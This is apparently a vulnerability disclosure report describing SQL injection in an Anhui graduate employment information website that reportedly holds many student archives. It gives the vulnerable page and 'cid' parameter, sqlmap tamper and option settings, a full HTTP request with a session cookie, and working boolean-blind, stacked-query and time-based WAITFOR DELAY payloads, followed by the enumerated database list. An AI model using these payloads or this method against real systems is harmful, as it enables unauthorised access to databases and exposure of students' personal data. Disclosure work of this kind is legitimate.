Anhui Graduate Employment Information Network SQL Injection # affects a large number of student archives

Anhui Graduate Employment Information Network SQL Injection # affects a large number of student archives

http://**.**.**.**/

0x02 details

Time-based Boolean blind Injection

0x03 usage
 

Sqlmap can be tested and configured with scripts to bypass space2comment. py. You need to add the -- no-cast parameter or -- hex

0x04 location
 

collegelinkmanshow.aspx?cid=c3d9872e-d435-4117-8372-dbaad78392eb

Injection Keyword: cid

0x05 HTTP Request Header
 

GET /college/collegelinkmanshow.aspx?cid=c3d9872e-d435-4117-8372-dbaad78392eb HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:80/Cookie: ASP.NET_SessionId=yknjna0y33k3p3gokklayfpv; AJSTAT_ok_pages=5; AJSTAT_ok_times=1Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*---Place: GETParameter: cid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cid=c3d9872e-d435-4117-8372-dbaad78392eb') AND 5600=5600 AND ('hSrd'='hSrd Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: cid=c3d9872e-d435-4117-8372-dbaad78392eb'); WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: cid=c3d9872e-d435-4117-8372-dbaad78392eb') WAITFOR DELAY '0:0:5'-----[09:30:59] [WARNING] changes made by tampering scripts are not included in shown payload content(s)[09:30:59] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 4.0.30319back-end DBMS: Microsoft SQL Server 2005

Database Information

back-end DBMS: Microsoft SQL Server 2005 available databases [6]: [*] may [*] model [*] qsdb [*] tempdb [*] wwwbys [*] wwwbyy